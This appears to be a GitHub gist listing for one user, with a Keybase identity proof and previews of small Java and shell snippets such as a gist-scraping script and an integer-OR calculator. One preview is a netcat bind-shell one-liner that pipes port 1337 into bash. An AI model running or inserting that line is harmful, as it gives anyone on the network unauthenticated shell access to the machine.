I hereby claim:
- I am joshbooks on github.
- I am joshbooks (https://keybase.io/joshbooks) on keybase.
- I have a public key ASCmdmUW3GmBRvoyK7f9EnRAKgAa6TDC1-HgSw-fs3YaCQo
To claim this, I am signing this object:
I hereby claim:
To claim this, I am signing this object:
//I did a thing, I'm not sure why but the thing is done now | |
// https://xkcd.com/287/ | |
import java.security.NoSuchAlgorithmException; | |
import java.security.SecureRandom; | |
import java.util.ArrayList; | |
import java.util.HashSet; | |
import java.util.concurrent.atomic.AtomicInteger; | |
#!/bin/bash | |
#find all occurences of windows code including cpp code | |
# cpp/code has some cpp code, src/msvs has windows code | |
find src/cpp/code/ -name "*.h" | sed 's|.*/\([^/]*\)/\([^/]*\)$|\1/\2|' | xargs -I arg grep -r arg src/msvs |
#!/bin/bash | |
pageNumber=1 | |
while [[ 1 ]] | |
do | |
read -ra jsGistUrls <<< `curl "https://api.github.com/gists/public?page=$pageNumber&per_page=100" | jq -c ".[].files" | sed 's/.*raw_url":"\([^"]*\).*/\1/' | grep ".js$"` | |
echo "Length of array is ${#jsGistUrls[@]}" | |
if [[ ${#jsGistUrls[@]} == 0 ]] |
#!/bin/bash | |
acc=0 | |
printf "First int to be or'd[1, 0x1]:" | |
while read input | |
do | |
acc=$[$acc | $input] | |
printf "%0x\n" $acc | |
printf "Next int to be or'd[1, 0x1, b1]:" | |
done |
# Takes three arguments, the file to turn into a grep command, a filename to create | |
# the grep command in, and a file to grep | |
cat $1 | awk 'NR == 1 {printf "egrep \"("; str=$0} NR>1 {printf str"|"; str=$0} END {printf str")\" $3 \n"}' > $2 | |
chmod +x $2 |
#!/bin/bash | |
sed -e 's/\([{},]\)/\n\1\n/g' | awk '/\{/ {s += 1} /\}/ {s -= 1} {printf "%*s %s\n", s*2, "", $0}' |
mkfifo .nc_pipe; nc -l 1337 < .nc_pipe | bash > .nc_pipe & |
#!/bin/bash | |
# sample usage: vimFind.sh unambiguousFileName.c | |
# will run vim ./some/obscure/directory/unambiguousFileName.c | |
vim `find . -name "$@"` |
public class AtomicResizingLongArray | |
{ | |
private volatile long[][] masterList; | |
// atomic updater for the master list, we use this instead of an | |
// AtomicReference because we don't always need to access the masterList | |
// atomically | |
private static final AtomicReferenceFieldUpdater | |
< | |
AtomicResizingLongArray, | |
long[][] |